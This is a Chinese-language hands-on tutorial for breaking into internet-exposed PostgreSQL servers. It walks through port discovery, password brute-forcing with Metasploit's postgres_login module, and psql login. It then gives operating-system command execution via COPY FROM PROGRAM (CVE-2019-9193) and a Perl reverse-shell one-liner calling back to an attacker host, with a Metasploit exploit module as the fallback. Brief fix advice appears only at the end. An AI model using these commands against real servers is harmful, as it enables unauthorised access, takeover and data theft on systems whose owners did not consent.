PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。
当该服务配置不当开放到外网时可以被暴破密码,获得任意用户密码登录成功后使用(CVE-2019-9193)高权限命令执行即可反弹管理员shell
实战
1.使用nmap或者fofa发现该端口或者相关服务
图片
2.使用kali系统中msf渗透模型进行暴破用户密码。
msfconsole //进入msf工具
use auxiliary/scanner/postgres/postgres_login //进入暴破模块
set rhosts 1.1.1.1 //添加目标ip
set rport 5432 //添加目标端口
set user_file /home/taibai/1 //后面的路径是用户名字典
set pass_file /home/taibai/2 //后面的路径是密码字典
show options //查看相关配置信息
run //开始运行
破解成功后会有提示破解的用户密码
3.使用破解后的用户名密码登录
psql -h 1.1.1.1 -U postgres -W //连接后提示输入密码
4.使用(CVE-2019-9193)高权限命令执行漏洞执行命令
DROP TABLE IF EXISTS cmd_exec; //删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); //创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id'; //通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec; //查看执行结果
5.使用nc反弹shell(注意需要公网ip地址)
//攻击机上执行
nc -vv -l -p 1234
//perl命令来反弹shell
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"2.2.2.2:1234\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';
6.如果上面不行可以直接使用msf中利用模块(注意需要公网ip地址)
set rhosts 1.1.1.1 //配置目标ip
set rport 5432 //配置目标端口
set username postgres //配置目标用户名
set password 123456 //配置目标密码
set lhost 2.2.2.2 //配置反弹ip
set lport 1234 //配置反弹端口
show options //查看配置
exp //运行
图片
7.修复建议
升级最新稳定版本
配置端口白名单不要开放到外网
配置强密码